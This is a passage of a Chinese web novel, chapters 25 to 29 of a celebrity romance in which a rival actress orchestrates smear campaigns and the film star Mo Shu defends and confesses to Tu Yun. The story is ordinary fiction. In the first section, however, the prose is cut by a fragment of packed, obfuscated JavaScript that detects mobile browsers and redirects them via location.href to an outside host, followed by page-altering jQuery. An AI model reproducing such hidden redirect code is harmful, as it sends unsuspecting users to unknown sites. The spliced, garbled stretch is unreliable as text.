苏小桃：“杜总，初步判断，这些营销号应该都是和林婉婉有关系。筛查了这些带头的大营销号过往的微博记录，发现这些营销号都是带头发一些当红小花的黑料，抨击她们演的新剧。但……只有林婉婉，他们是从来没有发过黑料的，发的相关内容都是对林婉婉演的剧的夸奖。” * 林婉婉刚刚起床，经纪人已经把相关热搜截图发到了她的微信。 她靠在沙发上，抿了一口咖啡，指尖随意地划过屏幕，看到热搜下面涂韵被骂的评论时，眼底闪过一丝不易察觉的笑意。 说着，她点开自己的微博，发现有粉丝在微博下面评论，“难怪剧播出后，涂韵的话题量比我们婉婉高，现在看来果然是有后台的。” 林婉婉对着空气翻了个白眼，但还是拿起手机回复粉丝道：“大家还是理性看待吧，我相信韵韵不是这样的人。" 放下手机，林婉婉走到镜子边整理发型。 用几千元的气垫梳梳过，刚睡醒还有些蓬松的卷发顿时就变得顺滑，林婉婉满意地看着镜中的自己。她又想起之前连线剧宣的时候，涂韵和魏肖聊得火热，弹幕里全是夸他们的，而自己只能在一边插不进去话的场景，她嘴角的笑意更浓了。 她转头看向身后正在帮自己找衣服的助理，问道：“关于营销号放的《王牌律师》的瓜，莫殊那边有消息吗？” 助理摇摇头，“没什么反应。莫殊粉丝那边大部分也是抱着不信的状态。” 林婉婉对着镜子展示了下自己刚做的美甲，长长的指甲翻转，上面的水钻在灯光下流光溢彩，“没反应就是最好的反应。” 顿了顿，她补充道：“你再帮我持续监控一下黑热搜的热度，要是后续有需要，咱们可以再‘推’一把。” * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490357|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >下午六点，林婉婉坐在机场VIP室里，边吃着甜点，边玩着手机。 最近公司发力了，给她接洽了一部新电影资源，虽然是个配角，可是电影的班底很好，导演也很有名气。 林婉婉去面试的时候，和导演聊得非常愉快，估计马上就可以进组拍戏了。 她春风得意地刷着微博，看着涂韵的黑热搜热度依旧高居不下，嘴角勾起一抹极淡的弧度，随即慢慢扩大，带着毫不掩饰的得意。 林婉婉又回想起当时在卫生间里，涂韵骂她无聊的画面。一个卖糕点家的女儿，年收入哪怕十个亿，在娱乐圈里也是不够看的。 一只可怜的小老鼠竟然还敢和猫斗？ 眼瞧着马上要登机了，林婉婉将手机收进包里，从VIP通道上了飞机。 她不知道的是，就在她关机的三个小时里，舆论发生了天翻地覆的变化。 业内知名女演员李子珺突然发了一条微博，瞬间引发关注。 李子珺直接甩出了两张聊天记录截图，看时间，一张是涂韵在试镜《职场女王》后，她和导演的聊天，“这姑娘对角色的理解很到位，试镜时哭戏一条过，还主动加了一段即兴表演，比我预期的要好很多。” 另一张是是她和《寻味记》导演的聊天，涉及到其他艺人的名字的时候，都打上了马赛克。 导演：“李老师，xxx行程有变，来不了这期节目了。我这收集了一些目前能赶过来的女艺人，你要不看看？” 导演：【女艺人清单.xlsx】 过了大概十分钟，李子珺回道：“涂韵这姑娘不错，人也很活泼肯干，我之前和她接触过。” 导演：“好的，我刚问了，涂韵刚巧就是土生土长的沪川人。那就定她吧，我去联系一下她公司。” 李子珺还配了一段微博文字。 【李子珺V：涂韵在拍《职场女王》的时候，我很清楚她的试镜是带着十足的准备来的，没戏拍的时候她也在看剧本、练台词。涂韵能拿到那个角色，靠的是一次次打动我们的专业能力，而不是什么‘资源’。 另外，是我向节目组推荐涂韵参加《寻味记》的啊。怎么一天没看手机，我就成资本了？疑问.jpg】 这条微博很快就被导演、编剧等业内人士转发。 和涂韵正有热播剧的魏肖也评论了一条：“我们努力的小狐狸是被冤枉的！” 李子珺发的这条微博一下就上了热搜，“涂韵资源咖”的黑热搜热度慢慢降了下来。 粉丝们顿时扬眉吐气，#涂韵被业内认可#的话题反而被刷上了热搜。 这么多业内人士发声，路人似乎也明白了那些都是无凭无据的谣言，开始自发反驳起恶意评论来。 甚至还有法律博主站出来分析：“多位业内人士的实名证言，已能构成对造谣者的有力反击，若继续传播谣言，可能涉嫌违法。” 而引起网络最大热度的还是莫殊。 八百年不登一次微博的莫殊直接转发了涂韵黑粉造谣的那张照片，“这张照片是我，怎么了吗？” 26. 第26章 掉马了 涂韵缩在被窝里，脸上还有泪痕，手里紧紧攥着手机。 手机屏幕上，是莫殊二十分钟前发来的消息：“别慌，有我在。” 听说黑热搜已经解决得差不多了，涂韵的指尖颤抖地在屏幕上滑动着。 涂韵感激地给珺姐发消息，感谢她。 要不是珺姐做第一个发声的人，恐怕其他人也不会想卷进这摊子事里，这黑热搜估计还得霸榜个几天。 珺姐很快就回复了，“没事。你要谢的，可不止我。” 什么……意思？ 下一秒，微博消息提示，她关注的人发微博了。 【莫殊V：“这张照片是我，怎么了吗？”】 下面的配图是偷拍到的模糊的画面，在朦胧的路灯下两个人面对面站着，动作自然又亲昵。但这张照片只能看见那女孩是涂韵，而那男的只有一个背影。 照片刚出来的时候，黑粉说这是投资方，是金主爸爸，粉丝则辟谣说是圈外好友。 唯独没人敢往莫殊身上想，就连殊途同归CP粉都不敢往莫殊身上扯，生怕惹到了唯粉。 毕竟一个是手握影帝奖杯、出道十年零绯闻的顶流，一个是只有一部小成本网剧女女主，刚拿了新人奖的小艺人。 两人之间隔着的，是长长的出道年限和实绩证明，是旁人眼里的“云泥之别”。 莫殊微博发出的瞬间，评论区像被投了颗炸弹，顿时炸起一片。 【殊途同归YYDS：？？？我没看错吧？真的是我们涂韵？？我有生之年竟然能看见殊途同归官宣？】 【莫殊便利贴：楼上在乱说什么？承认照片就代表官宣吗？两个人就不能是圈内好友？】 【范德萨：难道不是……涂韵在捆绑莫殊炒作吗？】 【阿飞飞：应该不是炒作吧。救命啊！我粉了莫殊七年，第一次知道他能和女艺人挨这么近的……】 【妹妹说紫色很有韵味：谢谢莫老师发声！友谊地久天长！】 【路人甲：啊啊啊这张照片！就算看不到莫老师的脸，光看涂韵的表情，我就觉得好有感觉！】 涂韵的微博评论区更是直接“沦陷”，粉丝、路人、各家粉丝挤在一起，她的最新一条微博的评论数十分钟内破了百万。 没想到，莫殊用这么干脆的方式，将她推到了他的身边。 涂韵看着手机里不断刷新的评论，心里又暖又慌。 苏小桃急得都要把电话打爆了，妈呀，怎么一个炸弹没解除，又多了一个炸弹啊。 涂韵答应的她，说好的要低调呢！ 手机铃声响起，看见是莫殊的电话，涂韵立马接起，”喂？“ 莫殊那边很安静。涂韵等了几秒钟，便传来莫殊的声音，“你看见了吗？是不是吓到你了？” 那熟悉的声音透过听筒传来，不是电影里经过反复打磨的台词功底，而是还带着一些疲惫的沙哑，显得那么的真实。但光这样一句话，就已经足够让涂韵安心了。方才还在心头打转的慌张和焦虑，都在他的声音里慢慢散了。 涂韵握着手机，乖乖地答道：“看见了。刚开始有点被吓到，但……也还好。” 莫殊笑了声，然后突然喊了她的名字，“涂韵。” “嗯？” “我喜欢你。”莫殊的声音非常地清晰，认真，没有一点试探性的含糊和调侃。他说完之后，顿了一下，像是怕涂韵没听清，又像是在等她的反应。 那四个字落在耳边的时候，涂韵感觉整个世界都静了一瞬。 涂韵下意识地把手机往耳边贴得更紧，好像这样做，那四个字还能在耳边一直回响。 她的耳朵滚烫，脑海里还盘旋着的黑热搜、粉丝们的评论、还没回复苏小桃的消息，此刻好像都被按下了清除键。 世界只剩下一根电话线，将她和他串联在了一起。 涂韵张了张嘴，想回应些什么，却发不出半点声音。她只能清晰地听见自己的心跳声，呼吸声，混着听筒里传来的他轻微的呼吸声，在这安静的房间里格外清晰。 “涂韵？”见她半天没说话，莫殊的声音在重新响起，带着点小心翼翼的试探，尾音还微微发颤，“你……还好吗？” 他其实没想过要表白的，可是当他拿起电话，一听见涂韵软软的声音，就忍不住想将自己的一颗心剖开，摆在她的面前。告诉她，他在的，一直在，这颗心你要的话，你就拿去吧。 可莫殊说出口后，又怕她伸出手，将他剖开的两半心给合上，说我不想要。 幸好电话那头涂韵深吸了一口气，语气里带着难掩的哽咽：“我……我听见了。” 涂韵顿了顿，声音放得很轻，却格外认真，“莫殊，我也喜欢你。” 莫殊感觉自己的呼吸骤然停了半拍。 他原本靠在楼道里，手指还无意识地抚摸着墙皮，白色的粉末被他摩擦下来，落在鞋上，但他都没有察觉。 而涂韵的回应让他的那点微不足道的紧张和忐忑，像是被瞬间点燃的烟火，在胸腔里炸开满溢的欢喜。 他猛地直起身，攥着手机的手不自觉收紧，指节因为用力而微微泛白。他的全身都被愉悦的情绪给填满了，几乎要溢出来。 他觉得涂韵一定是个魔法师，她的一句话就能让他飘起来。 他怕自己听错了，又问了一遍：“真、真的吗？” “嗯！” “开门，涂韵。”莫殊将手机塞进大衣口袋里，转身向着楼上跑去。他的兴奋根本就掩饰不了了，几乎是一步三个阶梯地朝着涂韵奔去。 * “你……你怎么来了？”涂韵听到莫殊说开门的时候，还有些不可置信。她呆呆地拿着手机喂了好几声，才发现莫殊已经挂断了电话。 下一秒，门铃就响起了。 涂韵几乎是跑着去开门的，门打开的瞬间，看见莫殊穿着一身黑色的大衣，带着口罩，只露出一双眼睛，目不转睛地盯着她。手里提着一个奶茶袋，估计就是他打电话前刚去买的。 “快进来。”涂韵愣了一下，连忙关上门让莫殊进来。 他的身上还带着初冬的寒气，也不知道他在外面站了多久。 然后她一把抱住莫殊的腰，把脸埋在他的大衣里。涂韵紧紧地贴着莫殊结实的胸膛，他的心跳也跳得很快，渐渐地和自己的心跳重合起来，咚——咚——咚。 莫殊伸出手，也抱住涂韵，抱的很紧很紧，似乎要揉进 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可是……她和莫殊之间隔着的东西太多了。她虽然人气不错，可能拿出手的也就两三部剧，她还没有在娱乐圈站稳，她不想被人说是“被影帝带飞的新人”。 但她没想到的是，主动提出要公开的……竟然是莫殊。毕竟他的粉丝量级比她要多得多。 明明嘴上说着“勇敢的人先享受世界”，可涂韵她就是害怕，尤其是刚经过黑热搜的轰炸之后。 她担心莫殊是看见她委屈所以一时冲动，害怕别人说你们一点都不般配，害怕热搜下的评论一言成谶。她害怕……好多好多东西。 涂韵还没想好该怎么开口，便转移话题，“莫殊，你别站在门口了，快进来吧。” 她一手接过莫殊手中的奶茶，一边从鞋柜里找出双一次性拖鞋递给莫殊。 “好。”莫殊摘下口罩，换上拖鞋，将大衣脱下挂起来，露出里面的黑色高领毛衣，将他的身躯紧紧地包裹住，露出挺拔的胸膛。 他往里走了走，好奇地往四周看看。虽然莫殊知道涂韵家在哪，但这也是他第一次进来。 一旁的涂韵正低下头看莫殊买了什么奶茶的时候，突然——反应过来。 她整个人如猛虎下山一般连忙扑到莫殊的旁边，跳起来想挡住莫殊的眼睛，“啊！不对啊！你先别看！” 可是……已经晚了。涂韵因为太过慌乱，动作太急，一个没站稳，膝盖……直接磕在了地上。 啊！涂韵在心里面咆哮着，她竟然直接给莫殊跪了！ “疼不疼？”莫殊也吓了一跳，连忙将涂韵拉了起来，给她揉膝盖。 揉好后，莫殊直起身，然后像是不敢相信般地定在原地，瞳孔因惊讶而微微放大，原本抿着的嘴角不自觉地张开成一个“O”形，整个人都透着一丝茫然。 涂韵根本就无暇顾及她的膝盖，内心只想着啊！完蛋了！彻底完蛋了！ 莫殊过了几秒钟，才反应过来。 他抿了抿有些干了的嘴唇，喉结轻轻滚动了一下，才终于找回自己的声音：“涂韵，这些……是什么？“ 展现在他面前的，着实让他震撼。 铺天盖地的他，这……可以说是一个——莫殊帝国！ 27. 第27章 接吻了 墙上贴满了他的照片和海报，甚至还有他都没有的珍藏版古早海报。 书桌上分类放着他的每一张电影碟片和代言产品，周边，摆得整整齐齐。 有他属性的棉花娃娃摆满了一个展示柜，甚至还贴心地有个小衣架挂着给棉花娃娃换的衣服。 最吸引人眼球的还是一个一人高的等身立牌，就放在沙发旁边，看立牌的姿势和造型应该是专门找他代言的品牌线下店要的。 涂韵双手捂着脸，如果地上有一个洞，估计她已经要钻进去了。 她觉得她这辈子都没有这么丢脸过。 难怪别人说没有对比就没有伤害。 三分钟前，她还在为黑热搜哭得要死要活。 而现在，她觉得天啊，黑热搜算什么，被人隔着网线骂骂算什么啊！ 最丢脸的莫过于自己喜欢了十年的暗恋对象好不容易刚给自己表白了，结果却发现自己一整个在阴暗爬行啊…… 莫殊不会……以为她是个变态狂热饭吧？不会吧不会吧…… 涂韵迈着小碎步，一点点地挪到莫殊的旁边，小声地辩解道：“我……我可以解释的。” 莫殊低下头，看着涂韵的表情。 涂韵的小脸绷得紧紧的，睫毛因为慌乱而不自觉地颤动着，像是蝴蝶的翅膀。嘴唇抿成了一条线，整张脸从耳尖到鬓角都是红彤彤的，连带着白嫩的脸颊也浮起了一层粉，像是熟透了的桃子。 她连窘迫都透着一股傻乎乎的可爱气，就像……被主人抓到了偷吃冻干的小猫咪，让人舍不得多说一句重话。 莫殊突然想起之前第一次和涂韵打电话聊通宵的时候，涂韵都睡得昏昏沉沉了，还能像报菜名一样熟练将他的资料报出来。 莫殊觉得有些好笑，嘴角没忍住地往上扬起。 “这样啊？那你——解释解释吧？”莫殊故意拖长了语调，看见涂韵猛地抬头，眼神又慌又羞。 莫殊双手交叠放在身后，像是巡视一般在涂韵的客厅里转悠，时不时地还伸出手摸摸涂韵的“藏品”。有些海报或者周边上还有涂韵写的笔记，他看不清，还特意凑近去看。 其实写了什么，他并不是很关心，而是偷偷地瞥跟在他身后，恨不得把自己藏起来的涂韵。 见逗弄得差不多了，莫殊也怕涂韵直接恼羞成怒，便慢慢地走到了客厅沙发处。 他弯腰坐下，还特意当着涂韵的面将沙发上的“莫殊”老鼠干玩偶摆到一旁，然后两手交叉放在膝盖上，安静地看着涂韵泛红的耳尖。 经过一番巡视之后，面前的涂韵看起来更加窘迫了。莫殊强忍着没有笑出声，只是嘴角还带着一点藏不住的笑意，“我看了，你布置得很好很用心。” 见涂韵还是眼神躲闪着不敢看他，莫殊忽然伸出手，轻轻地将涂韵耳边乱了的长发拨到耳后，声音里满是温柔的纵容，“我今天看到这些，没有感到惊吓，只觉得很惊喜。你要是不想解释的话，不用解释也行。” 话音刚落，就看见涂韵抿得发白的唇瓣轻轻动了动。她抬起眼，直勾勾地盯着莫殊，眼眶虽然还是红红的，可眸子里却没有了之前的躲闪。她问道：“真的吗？你……会感到惊喜？” 看见莫殊重重地点头之后，涂韵才放松了一些，原本还含着的肩膀挺起来了，“我……我还是给你解释一下吧。我真的不是什么变态。” 说完，她顿了一下，然后重重吸了吸鼻子，提高音量道：“对！就是你看到的那样！我喜欢你，我是你的粉丝。” 话说出口的瞬间，涂韵也有点被吓到了，没想到缠在心里那么久的一句话一说出口能够那么地畅快。她感觉到压在肩膀上的石头好像突然就落了地，她干脆“破罐破摔”地一股脑地说出来，语速快得像是怕被打断，“莫殊，我喜欢你很久了。我在颁奖礼上说的话，都是真的，我看过你的每一部作品。看《小镇有信》的时候，我就喜欢你了，你在那里面就穿着一件简单的白衬衫，但就是很好看。 后面你演了《深夜食堂》，我也看了很多遍，每一遍我都很感动。后面你拍的每一部电影，只要在国外有首映礼或者见面会的，我都去了现场。还有你拍……“ 说着说着，她自己都不知道自己在说些什么了，她只知道要说下去，告诉他，她就是喜欢他，怎么了？ 涂韵的声音越来越响，胸口因为激动而微微起伏着，脸已经从微红的桃子变成红彤彤的苹果了。 她看见莫殊眼里带着的笑意，一直强忍再眼眶里的眼泪终于没忍住，沿着脸颊滑了下来，在衣襟上晕开。 涂韵不顾及形象地用手背胡乱擦了一把，语气里带着点委屈，又有点不服气的倔强：“反正都被你发现了，我也不藏了！我就是喜欢你很久怎么了？你笑就笑吧，反正你现在也……” 涂韵带着哭腔的坦白还悬在空气里，尾音中的委屈都还没有消散，莫殊突然微微倾身，伸长手臂，一把将涂韵揽在了怀里。 他垂眼看着被自己圈着的涂韵，眼神还有些慌乱，长长的睫毛上还挂着没擦干净的泪珠，他觉得自己的心都软了。 他弯曲食指，轻轻帮涂韵擦掉她脸颊上的泪痕。 涂韵呼吸急促了一瞬，刚张开唇瓣想说话，下一秒，莫殊吻了上来。 涂韵完全愣住了，她睁大着眼睛，感受着莫殊的唇。 他的唇很凉，小心翼翼地贴在涂韵温热的唇上，像是在让她消消气降降火。 这个吻很轻，没有更深的动作，就像一根羽毛轻轻地落在了皮肤上，有点让人心痒。 在吻上来的那一刻，涂韵感受到了环抱自己的莫殊的身体微微绷紧，呼吸也急促了一些。 好……纯情的一个吻。 正当涂韵犹豫着是否该伸手抱住他，或者吻得更近一步时，莫殊已经缓缓地退开了。 莫殊的额头抵在她的额头上，动作温柔得像是呵护着易碎的心爱的珍宝。 两人挨得好近，鼻息间全是对方的气息。涂韵都能从莫殊的眸子里看见她的身影，她觉得自己都要在他的温柔里溺水了， 莫殊他嘴角微扬，声音比刚才低沉了一些：”涂韵，谢谢 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莫殊自然地拉起涂韵垂在两侧的手，笑着问道：“怎么就耍流氓了？我的……女朋友。” 莫殊的手很大，可以把涂韵的手完全包住。他牵着涂韵的手把玩了一会，然后将她的指缝分开，两人十指相扣，“我懂，既然你都解释了，” “那以后你想看莫殊的真人，想亲他想抱他，直接联系我就好了。” “你！”涂韵刚平复下来的心情又因为莫殊的一句话给提了起来，她想把手抽回来。莫殊却攥得紧紧得，一定都没让她抽动，还冲她挑了挑眉，像是在挑衅。 涂韵瞪了莫殊一眼，用另一只手打了莫殊的肩膀一下，“你还敢说！” 虽然是抱怨的语气，但没真的生气，只剩下羞恼和不好意思。 “啊！我女朋友怎么力气这么大呢？打死我了。”莫殊装作被打疼的样子，边大呼小叫着，边往一侧倒去，摔在沙发垫上。 只是他抓着涂韵的手却没松。 涂韵惊呼一声，被莫殊倒下的力带着，直接倒在了他的胸膛上。两人之间只隔着一件薄薄的黑色毛衣，涂韵的手心底下能感觉到莫殊的胸膛起伏着，能感觉到他的温度和心跳。 两人四目相对之间，呼吸又变得慌乱起来，空气中似乎有化不开的糖，带着一股甜蜜。 巨幅灯牌发出的淡紫色的柔光，给整个房间添加上了暧昧的气息。 在房间里众多“莫殊”的见证下，莫殊微微仰起头，靠近了涂韵。 两人唇齿交缠着。 涂韵闭着眼，这次她没有呆愣着，而是双手自然地搂上了莫殊的脖子。 她用心感受着，莫殊的温柔。她已经没有了最开始的那点无措，而是坦然地，像只卸下所有防备，露出柔软肚皮的小猫。 涂韵忽然觉得，那“破罐破摔”的坦白，好像也没那么糟糕——甚至，她还有点庆幸。 28. 第28章 早安吻 早上八点，晨光透过纱帘，照耀在房间里。 莫殊醒的时候，眼中还有着没散去的困意。他第一时间捏了一下自己，是痛的！ 莫殊望向身边，昨晚……原来真的不是一场梦，涂韵还在。 她陷在柔软的被窝里，黑色的长发松松地落在枕头上，睡得正熟，像一只安静蜷着的小猫。她的眼睛还有些肿，薄薄的眼皮上透着一层淡淡的粉，她昨天哭狠了。 莫殊又回想起昨天，涂韵将自己在英国留学的那几年讲给了他听，原来……她在那边过得也不好。 莫殊曾经以为涂韵在英国，也一定会像一株向日葵一样，充满活力，但其实她像一只误闯陌生森林的鸟，陌生的语言与文化就像数不清的树叶，将她和天空隔了开来。 涂韵一个人刚到英国留学的时候，还没满十八岁。 课堂上一连串的专业术语，她得反应好几分钟，而老师已经讲到了下一页。做小组讨论的时候，她的声音总是会轻易地盖过，没有人愿意听一个人蹩脚的英语。哪怕她做足了准备，纸上写满了她想补充的观点，可也总是也会被对方的不耐烦给截断。 超市里她要比划半天才能买到食材，站在超市冷柜前因找不准商品，只能边看名字边拿着手机搜索，被身后的人连声催促；在餐厅里因看不懂菜单而被投来异样目光…… 那些排斥和不适不是大张旗鼓的，而是像英国朦胧而又细密的雨，打湿了涂韵刚离开家的雀跃的期待，孤独感像潮水般将她淹没。 涂韵缩在莫殊的怀里，小声地讲着。她的语气很平静，那几年已经成为了一段回忆，但莫殊听着，心就像被针轻轻扎着，然后又撒上了柠檬汁，又酸又疼的。 他多想回到那个时候，抱一抱那个时候的小涂韵。但那个时候的他，又有什么理由呢？ 莫殊只能更紧地抱着她，就像在抱一件失而复得的珍宝，手掌也一下一下地轻轻地抚摸着涂韵的背，希望能告诉她，他一直在的。 涂韵接着说道，她有时候会打电话给家里，但家里做生意忙得很，好不容易接了电话也根本不理解她的处境。只是唠叨她，让她好好学。 她只能打电话给国内的好友苏小桃，因为有着时差，苏小桃躺在床上眼睛都快困得睁不开了，但还是有耐心地听她一遍遍吐槽在国外的困境。 到后面通话的次数多了，涂韵自己都有些不好意思了。 后来涂韵无意间看到了莫殊的电影，看《小镇有信》里他青涩的演技，却将一个从小镇走到大城市的青年的心理演得和涂韵产生了共鸣。那些在异国他乡积压了许久的情绪，终于找到了出口。 莫殊听到，涂韵说从那天起，他的电影成了她的秘密慰藉，甚至可以说变成了支撑她熬过无数个崩溃夜晚的精神支柱时，莫殊在心里庆幸着，幸好那个时候他答应了陆泽，拍电影。要不然涂韵也许就……支撑不下去了。 莫殊越发觉得他们两个就是有缘的，也许冥冥之中就是有一道绳子将他们两连了起来，在沪川的时候，是涂韵救赎了他；而在英国的时候，是他救赎了涂韵。 而现在，这道绳子慢慢地缩短，将他们两个彻底了绑在了一起。 莫殊想讲他17岁时候的故事，想讲他暗恋涂韵，偷偷地只敢在她放学的路上跟着的故事，但他刚起了个头，涂韵就捂住了他的嘴。 涂韵的指腹凉凉的软软的，轻轻地点在他的唇上，让他顿时就噤了声。 涂韵笑了一下，然后将头重新埋在了他的怀里，一蹭一蹭的像只小猫咪，头发上还带着她管用的柠檬味洗发水的清新香气。 “别说了，我有点困了，睡觉吧。”涂韵小声地说道，声音透过衣服传来有些闷闷的。 是啊，今天一大早就是被黑热搜攻击，晚上还情绪波动那么大，涂韵刚刚还说了那么多话，一定累坏了。莫殊这样想着，嘴唇轻轻地在涂韵的脸颊上碰了一下，“好，睡吧。” 两人裹在温暖的被子里，呼吸彼此地缠绕着，然后融为一体…… 一想到昨天是他们两个在一起的第一天，想到涂韵像只乖顺的小猫咪露出她柔软的肚皮向他撒娇抱怨，莫殊就觉得心里头被填得满满的。 他低下头看见涂韵安稳的睡颜，第一次由内至外地感觉到幸福。他悄悄地往涂韵的身边挪了挪，生怕惊醒了她，亲了她的脸颊一下。 然后，莫殊伸手，拿起放在床头柜的手机，开机。 一开机，就看见里面多了好几个未接来电。昨天他和涂韵互表心声，但电话却一直响，他嫌吵得很，干脆直接就把手机关机了。 他看了下时间，点开微信回了一下陈霖的消息，然后起床，换衣服。 洗漱好后，涂韵还睡得正熟。莫殊轻手轻脚地走到书桌前，想找张便利贴或者白纸，好给涂韵留言。他今天还有行程，是之前就定好的，所以不得不离开去赶飞机。 书桌上的手提电脑是打开但是息着屏的，屏幕上贴着一张便利贴。 莫殊看见便利贴上好像写了自己的名字，便凑近去看。 便利贴上的左上角写着莫殊，右下角是涂韵，中间则画了各种圈和箭头，还夹杂着“后续？”“拍戏？”等字眼。 这便利贴其实是涂韵贴在这，用来整理小说思绪的，但莫殊看不懂。 他会心一笑，以为是涂韵之前也在家里整理着他们两个之间的关系，越发觉得涂韵可爱。 眼瞧着时间要来不及了，莫殊撕了张新的便利贴，匆匆写了一行字，就出门了。 在去机场的路上，莫殊抽空给陆泽回了个电话，“喂？陆泽哥，昨天有事，不太方便？怎么了吗？” 电话那头陆泽提高了声音，“再不方便，也不能直接关机呀。我还以为我打扰到你办什么正事了呢。” 莫殊咳嗽了两声，咳咳……确实影响正事了。 莫殊：“那是手机没电了。哥，你昨天给我打了好几个电话，是有什么事？” 陆泽声音放低了一些，但语气里带着一丝兴奋，还带着点“我早看透”的得意：“莫殊，我问你件事，林婉婉是不是就是那个你喜欢了好久的女孩子？” “嗯……”莫殊下意识地点头，然后突然反应过来，“嗯？林婉婉？怎么会是林婉婉？” “我的天！”陆泽倒吸了一口凉气，“难道不是林婉婉吗？” 莫殊皱起了眉头，“这和林婉婉有 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昨天，是线下面试，再根据这个项目聊一下。 陆泽无意间提到自己拍的第一部电影《小镇有信》，林婉婉就马上接过话来，说她也看过这部电影，男主角是莫殊。她最近也有部戏快要和莫殊合作了，还说什么莫殊接到邀约很高兴之类的话。 两人便多聊了几句，陆泽发现林婉婉对莫殊还挺了解的，尤其她和莫殊还都是湖西人。 陆泽想起之前莫殊说过十几岁时喜欢过一个女孩，便以为是他在老家湖西的时候便认识林婉婉了。他试探着问道，林婉婉倒也没直接否认，只是面带娇羞地将话题重新拉回到新电影上。 听完陆泽的话后，莫殊咬紧了后槽牙，眼神顿时冷了下来。 他从始至终，都喜欢涂韵，从来没有变过。在探班那天之前，他甚至都不认识林婉婉。 林婉婉在连线直播的时候，在那么多观众和涂韵面前，暗示他是来探班她的，他忍了。 林婉婉找营销号散播他要接那部她做女主的电视剧的消息的时候，他也忍了。 她想找人凑话题凑热度，想让粉丝羡慕，这些，莫殊都管不着。 可是她不该，假装自己是他喜欢的那个人。 这不仅很蠢，而且一点都不尊重他，不尊重涂韵。 见电话那头没什么动静，陆泽也有些急了，把声音放大了点：“莫殊？你还在听吗？” 莫殊的嘴角抿成一条锋利的直线，他刚想开口说话，出租车就停了下来。 出租车司机瞧了眼后视镜里戴着帽子口罩裹得严严实实，但还是能看出不凡气质的男人，开口说道：“你好，沪川机场到了，拿好行李物品。这里只能临时停车，不让停很久。” 莫殊深呼吸了一口，对着电话说道：“陆泽哥，我等会再和你说。” 陆泽也听见了出租车司机的话，痛快地答道：“行行行，你先去忙吧。” 莫殊的声音已经消失在了机场，出租车都开出几百米了，出租车司机还在心里嘀咕着，这人到底是谁啊？看起来有点眼熟，不会是哪个明星吧？ 29. 第29章 新风波 莫殊拿起身边的包，快速走进机场。 因为昨天黑热搜的事，他上午在忙着联系相熟的业内人士，问他们能不能帮忙出面澄清说话，下午就买了飞机票直接飞来了沪川。 这次行程很临时，所以没有粉丝跟接送机，莫殊很快就进了候机厅。 他一进去，就看见了陈霖，正坐在那低头玩着手机。 是的，因为还有行程要跑，所以陈霖也跟着他一起飞到了沪川，到时再一起飞去参加活动的城市。 莫殊走到陈霖身边，轻轻拍了他的肩膀一下。 正专心致志地盯着手机的陈霖被吓了一大跳，抬头看见是莫殊，这才松下口气来，“嚯！莫哥你来啦。” “快坐快坐，莫哥，我还担心你忘了时间呢。” 天知道啊，陈霖他一大早在酒店醒来，发现莫殊电话打不通，信息发出去一个晚上都没人回，整个人都要急死了。 莫殊突然发消息给他，让他买今天最快去沪川的机票的时候，他就知道莫殊肯定是担心涂韵，去找涂韵了。但……哥啊！你也不能突然失联啊！ 他甚至都想联系苏小桃了，最后还是忍住了。 到了早上八九点钟，陈霖看见莫殊终于回了他一句“机场见”，这才放下心来。 莫殊坐下后，陈霖瞥了眼周围正在候机的人，凑到莫殊耳边，压低声音道：“莫哥，昨天你去哪了？” 莫殊的眼神柔和了一些，他暗自庆幸自己戴了口罩，要不然陈霖看见他压不住的嘴角，肯定要取笑他一番，“没去哪，去看我女朋友了。” “咳咳……”陈霖惊得咳嗽了好几声，略微提高了点声音，“什么？怎么变你女朋友了？你这进展怎么这么快？” 莫殊冲他比了个“嘘——”，陈霖又反应过来，好像……也不是很快嘛。 距离之前莫殊问他，该怎么追女孩的时候，都过去快小半年了。身上的夏装都要变羽绒服了。 想到这里，陈霖甚至都有点同情起莫殊来，自家老板虽然话少了点，人淡如菊了点，但顶着这么张帅脸，怎么追女孩还得追这么久呢？ 要不是这次来了个黑热搜，自家老板一个“趁虚而入”，说不定还成不了呢。 莫殊没回话，只是斜起眼瞥了陈霖一眼。 但他换了个坐的姿势，翘起二郎腿，看起来心情就很愉悦。 陈霖突然想起什么，连忙将手机递给莫殊，让他看屏幕上的内容，“对了，哥，你看看这个。这次我们还是选择不理睬不回应吗？” 莫殊以为是什么涂韵黑热搜的“余震”，吓得连忙接过手机一看，发现是一个小时前，林婉婉发微博了。 发的内容，自然就是和陆泽说的差不多。发了一些模棱两可的话，暗示自己和莫殊有什么关系。 莫殊面色一沉，点开评论一看，发现评论里说什么的都有。 自从莫殊开始追小说和磕“殊途同归”CP以来，他吃瓜和理解瓜的能力就大幅提升，再也不是以前那个粉丝嘴里什么都不懂的“老干部”了。他把下面评论区的总结看了一遍，顿时就理清楚林婉婉怎么又“发疯”了。 原来自从上一次林婉婉在剧宣连线直播的时候，暗示莫殊是来探班她的。 再加上《王牌律师》选角的传言，一些林婉婉的大粉在林婉婉工作室的默认或授权下，给散粉发洗脑包，说林婉婉在圈里性格好人缘好，很多人都追求她，连影帝莫殊都只是其中一个，甚至追求的攻势很猛。 再加上前几个月，莫殊刚在《时尚巴啦啦》的采访中说了青春时候喜欢过的女孩子现在出现了，两人又同是湖西人，所以林婉婉的粉丝们都默认那女孩就是林婉婉。 再加上不少放瓜的营销号都用代号或者漫画这样暗自影射，连路人都以为莫殊和林婉婉有点关系。 可谁知……昨天涂韵上黑热搜的时候，莫殊毫不犹豫直接一个大回应。 没想到，莫殊和涂韵两个人的照片都被狗仔拍到了！ 昨天网上那真是腥风血雨，各路粉丝的心情都是跌宕起伏，有人欢喜有人忧。 欢喜的自然是“殊途同归”CP粉，还有不少本来就喜欢磕一口的杂食党纷纷涌进超话，四处询问难道磕到真的了吗？ 心情复杂的则是部分涂韵和莫殊的唯粉，这八竿子打不着的两个人，原来一直在私下见面？ 而不爽的则自然是林婉婉的粉丝。 